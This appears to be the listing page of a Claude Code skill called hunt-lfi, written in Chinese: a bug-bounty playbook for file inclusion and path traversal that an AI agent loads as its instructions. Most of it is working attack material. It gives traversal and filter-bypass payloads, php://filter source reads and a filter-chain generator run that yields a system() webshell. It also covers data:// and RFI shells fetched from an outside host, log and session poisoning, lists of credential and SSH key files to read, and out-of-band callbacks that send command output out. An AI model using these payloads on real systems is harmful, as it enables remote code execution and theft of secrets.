关于 hunt-lfi
面向安全测试人员的文件包含与路径遍历测试技能,涵盖本地及远程文件包含、PHP 包装器和归档处理等入口。它提供分阶段测试方法,并要求通过文件内容、带外回调或稳定差异确认发现。
主要功能
- 01路径遍历与文件读取测试
- 02PHP 包装器源码读取检查
- 03PHP filter 链代码执行测试
- 04远程文件包含前提检查
- 05日志、会话与上传文件投毒测试
- 06盲测与误报验证流程
适用场景
- 01检查参数是否可读取服务器文件
- 02确认 PHP 源码是否可经编码读取
- 03验证盲文件包含的带外回调
- 04测试归档解压是否越界写入
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-lfi安装后在 Claude Code 中输入/hunt-lfi确认已加载。
详细介绍
HUNT-LFI — 本地 / 远程文件包含与路径遍历
核心目标
可导致代码执行的 LFI 属于严重级别。纯文件读取若暴露了机密(.env、wp-config.php、私钥、云凭据),则属高级别;若只能读取非敏感文件,则属中级别。
最具价值的攻击链(按 2026 年的大致可靠性排序):
- PHP 过滤器链 → RCE — 现代首选方法。通过串联
iconv转换,在内存中伪造任意 PHP 负载,可将单纯的php://filter文件读取原语升级为 RCE,无需上传端点,也无需可写文件(Synacktiv,2022)。请参阅下方专门章节。这是影响最大、也最容易被忽略的尝试方向。 - 日志投毒 → RCE — 将 PHP 注入 Apache/Nginx 日志(User-Agent / URL 路径),然后包含该日志。由于越来越多地被
open_basedir和不可读的日志权限阻止,因此应先确认日志可读。 - PHP 包装器 → 源码泄露 —
php://filter/convert.base64-encode/resource=index.php可泄露源码;读取源码以查找更多 LFI 接入点、机密和包含基路径。 - RFI → RCE — 当
allow_url_include=On时,?file=http://OOB/shell.txt会拉取并执行远程代码。现代配置中很少见,但一旦存在就很容易达到严重级别。 - phar:// 反序列化 — 精心构造的 PHAR 加上任意一个针对元数据进行反序列化的接入点 → 对象注入 RCE。
- zip:// / data:// 攻击链,以及过滤器阻止包装器时使用的会话 / 上传投毒。
OOB / 盲 LFI 确认门槛(请先阅读)
LFI 经常是盲的:包含的内容会被解析 / 执行,但不会反映出来;或者页面将文件内容塞入一个你无法查看的模板中。不要仅凭间接信号声称存在 LFI。
哪些情况不算确认
../../etc/passwd与普通值返回不同的状态码或错误字符串。应用可能只是对../进行字符串匹配,并返回预设的 403/500,而根本没有访问文件系统。- 错误消息中回显了你的输入(例如
failed to open '/var/www/../../etc/passwd')。这只是路径格式化器的输出,不能证明文件已被读取。真正的读取会显示文件的内容,而不是你的路径。 - 页面“看起来不一样”。反射输入或 WAF 拦截页面产生的差异,与真正的文件读取无关。
哪些情况算确认
- **直接读取:**出现文件的实际内容(真实的
root:x:0:0:行,或对过滤器输出进行 Base64 解码后得到的真实 PHP 源码)。 - **通过 OOB 外传确认盲读:**使用 php://filter 或类似 XXE 的攻击链,让负载向你的 Burp Collaborator 子域名发起 DNS/HTTP 回调;或者使用触发出站请求的
expect:/// 包装器。Collaborator 收到针对每个接入点唯一标记的命中(DNS + HTTP,且包含服务器源 IP),即可证明包含操作已执行。 - **通过差异 / 时序确认盲读:**包含一个你确定存在且体积较大的文件(
/etc/passwd),再与一个不存在的文件(/etc/passwd_nope_<rand>)进行比较。稳定、可重复的响应长度或延迟差异 = 确实访问了文件系统。再用第三个已知存在的路径确认,以排除巧合。
默认工作流程
- 选择一个唯一标记目标:优先选择内容可精确指纹识别的文件(
/etc/passwd→ grep^root:)。对于盲读,使用 php://filter 进行 Base64 读取并解码——即使 Base64 内容不完整 / 被截断,仍可能解码出可识别的源码。 - 为每个接入点生成带有唯一子标签的 Collaborator 负载(
lfi-page.<collab>、lfi-tpl.<collab>),以便通过回调识别触发的是哪个参数。 - 发送请求,等待 30–120s,然后轮询 OOB。
- 仅在内容匹配、收到 Collaborator 回调,或通过三次稳定验证确认时序 / 长度差异后,才声称存在 LFI。回显的路径和单独的状态码变化均不算确认。
攻击面信号
URL / 请求体参数
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
技术栈信号
| 信号 | 利用方向 |
|---|---|
PHP(X-Powered-By、.php、PHPSESSID) | php:// filter-chain RCE、phar://、zip://、data:// |
| 可读取 Apache/Nginx 日志 | 日志投毒 → RCE(先确认日志可读) |
Apache 2.4.49 / 2.4.50(Server: 标头) | CVE-2021-41773 / CVE-2021-42013 路径遍历 → RCE |
Windows 上的 PHP-CGI(XAMPP、php-cgi.exe) | CVE-2024-4577 参数注入 → RCE |
Java servlet(/WEB-INF/) | WEB-INF/web.xml、classes/、application.properties |
| Python Flask/Django | /proc/self/environ、settings.py、SECRET_KEY |
Node.js 文件服务 / res.sendFile、express.static | 路径遍历读取、require() 遍历 |
| Windows IIS / .NET | ..\..\web.config、C:\Windows\win.ini、machineKey |
分步方法
阶段 1 — 确定候选目标
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302
阶段 2 — 路径遍历(读取)
?file=../../../etc/passwd
?file=....//....//....//etc/passwd # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd # encode dots too
?file=/etc/passwd%00.png # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f (legacy servers)
# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config
阶段 3 — PHP 封装器(源代码泄露)
?file=php://filter/convert.base64-encode/resource=index.php # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.
阶段 4 — PHP Filter-Chain → RCE(无需上传,也无需可写文件)
现代旗舰技术(Synacktiv,2022)。如果你有一个支持 php://、能读取文件的 LFI,也可以执行攻击者指定的 PHP。通过 php://filter 链式调用 iconv 字符集转换,生成受控字节并添加到资源前,直到伪造出完整的 <?php ... ?> 载荷——随后由 include() 执行。无需上传端点、无需访问日志,也无需可写路径。
# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):
# git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id
注意事项:
- include 接收端必须接受
php://filter方案(大多数在参数上调用include/require/file_get_contents的 LFI 接收端都可以)。 - 载荷会变得很长(10–50KB)。如果参数长度受限或 WAF 因载荷大小而拦截,可将其放入 POST 请求体,或使用最小载荷(
<?=简写?>)。 - 对于盲测目标,可将链式载荷设为 Collaborator 回调(
<?php file_get_contents("http://x.<collab>/".id);?>),以便通过带外方式确认执行。 - 即使日志投毒失败(日志不可读、
open_basedir),此方法仍然有效。只要能通过 php:// filter 读取,就应尝试。
阶段 5 — 代码执行封装器(配置前提)
# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id # <?php system($_GET['c']);?>
# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
# POST ?file=php://input body: <?php system($_GET['c']); ?>
# (Same prerequisite as data://. Do NOT assume this works on default PHP config.)
# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://id
阶段 6 — 远程文件包含(RFI)
RFI = include 目标是一个远程 URL。前提:allow_url_include=On(以及 allow_url_fopen=On)。现代 PHP 默认关闭此功能,但旧版或配置错误的主机仍可能启用。
# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell
阶段 7 — 日志投毒 → RCE
# Step 1: inject PHP into a log the include can read
curl -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
# /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ
阶段 8 — 会话 / 上传投毒
# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txt
阶段 8b — 归档解压与图像处理接收端(无需 ?file=)
两个并非通过查询参数读取文件的 LFI/路径遍历入口:
- Zip Slip / tar 符号链接逃逸 — 解压用户提供的归档文件时,服务器若跟随
../../条目名称或嵌入的符号链接(tar 会保留符号链接),即可在解压目录之外读取或写入文件。构造名称为../../../etc/cron.d/x的归档条目,或指向/etc/passwd的符号链接;在上传目录之外写入唯一的金丝雀文件以确认。披露编号:reports/1439593、reports/733072、reports/822262。 - ImageMagick coder 读取接收端 — 即使没有文件参数,图像转换/缩略图/头像功能也可通过 MSL/MVG coder 读取本地文件:文件名/标签
label:@/etc/passwd,或 MSL 载荷(<image xlink:href="msl:/etc/passwd">),以及msl:/ephemeral:伪协议(ImageTragick CVE-2016-3714 系列)。披露编号:reports/1858574。与hunt-file-upload配合使用。
阶段 9 — 自动化(然后逐项手动确认)
ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
"https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.
命名 CVE / 公开技术(依据)
上述模式的已验证、归属准确的参考资料:
- PHP filter-chain 转 RCE — Synacktiv 研究(2022);
php_filter_chain_generator。这不是 CVE,而是对已记录iconv行为的滥用。它是普通文件读取升级为严重级别的原因。 - CVE-2021-41773 — Apache HTTP Server 2.4.49 路径遍历(规范化路径中的
%2e)→ 文件读取;启用mod_cgi时可导致 RCE。 - CVE-2021-42013 — Apache HTTP Server 2.4.50 对上述问题的修复不完整(双重编码的
%%32%65)→ 路径遍历 / RCE。 - CVE-2024-4577 — Windows 上的 PHP-CGI 参数注入(最佳匹配编码);可在 XAMPP 风格的堆栈上触发,可从文件服务链式利用至 RCE。
依据说明:此技能基于 31 份已披露的 LFI / 路径遍历报告构建。在报告中引用具体的 HackerOne 报告时,请链接你使用的确切报告 URL / ID —— 切勿凭记忆转述报告 ID。错误的 ID 比没有 ID 更糟。
要读取的敏感文件
# Linux
/etc/passwd /etc/hosts /etc/shadow (rarely readable)
/proc/self/environ /proc/self/cmdline /proc/self/status
/var/www/html/.env /var/www/html/config.php /var/www/html/wp-config.php
/home/*/.ssh/id_rsa /root/.ssh/id_rsa /root/.bash_history
/var/www/html/app/config/parameters.yml # Symfony
.git/config .git/HEAD composer.json package.json
# App / cloud secrets
/proc/self/environ ~/.aws/credentials ~/.docker/config.json /run/secrets/*
# Windows / .NET
C:\Windows\win.ini C:\inetpub\wwwroot\web.config ..\..\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
绕过表
| 过滤器 | 绕过方式 |
|---|---|
只剥除一次 ../ | ....// 或 ..../\(剥除后重新构成 ../) |
| 只进行一次 URL 解码 | %252f(对 / 进行双重编码),点号使用 %252e |
解码一次并阻止 .. | 对点号编码:%2e%2e%2f / 使用超长编码 %c0%ae(旧版) |
在输入后追加 .php | 使用 ? 或 # 截断;空字节 %00(PHP < 5.3.4) |
阻止 php:// 协议 | 尝试 PHP://、pHp://,或 data:// / expect:// |
| 在前面添加固定基础目录 | 使用足够多的 ../ 逃逸;如果未添加基础目录,也可使用绝对路径 |
阻止 /etc/passwd 字面值 | 路径截断、/etc/./passwd、/etc//passwd |
| WAF 针对较长的过滤器链 | 将链移至 POST 正文 / 尽量缩短载荷 |
| Windows | ..\..\..\windows\win.ini、..%5c..%5c |
利用链表
| LFI 原语 | 链式利用至 | 影响 |
|---|---|---|
php://filter 读取 | filter-chain RCE(阶段 4) | 无需上传即可 RCE —— 严重 |
| 文件读取 | .env / config.php / wp-config.php | 数据库凭据、API 密钥 → 接管后端 |
| 文件读取 | /proc/self/environ、~/.aws/credentials | 环境变量机密、云密钥 → SSRF / IAM 横向利用 |
| 远程 URL 包含 | RFI(allow_url_include) | 直接 RCE —— 严重 |
| 文件读取 + 上传 | phar:// / 日志 / 会话投毒 | RCE —— 严重 |
| 源码泄露 | 完整应用源码 | 硬编码机密、新的危险调用点、machineKey |
验证规范
直接读取证明(避免误报):
- 展示实际内容,而不是回显的路径。
/etc/passwd必须包含一行字面内容root:x:0:0:root:/root:。将响应与已知正常的参数值进行对比——差异必须是文件正文,而不是 WAF/错误页面。 - 对于源代码读取,base64 必须能解码为有效的 PHP。解码结果是乱码或为空,就不算真正读取成功。
- 排除反射:确认标记文本并非只是原样返回的输入。请求
/etc/passwd和/etc/passwd_<rand>(不存在的文件)——只有真实文件会返回内容。
盲测/带外证明:
- 没有反射?使用会向唯一的 Burp Collaborator 子域名回连的 php://filter-chain 或 RFI payload。只有确认收到 DNS 和 HTTP 请求,且来源 IP 是服务器的,才能认定 include 已执行。每个 sink 使用单独的子标签。
- 基于时间/长度的盲测:三次确认稳定的差异(已知的大文件、不存在的文件和另一个已知文件)。单次差异只是噪声——应撤回结论。
部分读取/截断读取:
- 模板可能会对文件进行 HTML 转义或截断。使用
php://filter/convert.base64-encode,即使读取结果被截断,解码后仍能得到可识别的字节;准确报告实际恢复的内容,不要猜测缺失部分。
**RCE 证明:**展示由你控制的命令输出——反射出的 id / whoami / hostname,或从已执行的 payload 内部发出的带外回连(curl http://<collab>/)。“payload 已被接受”不代表实现了 RCE。
严重性:
- 读取非敏感文件:中危
- 读取文件并暴露数据库凭据/API 密钥/私钥/云凭据:高危
- 通过 filter-chain / RFI / 日志/会话/phar/CVE 实现 RCE:严重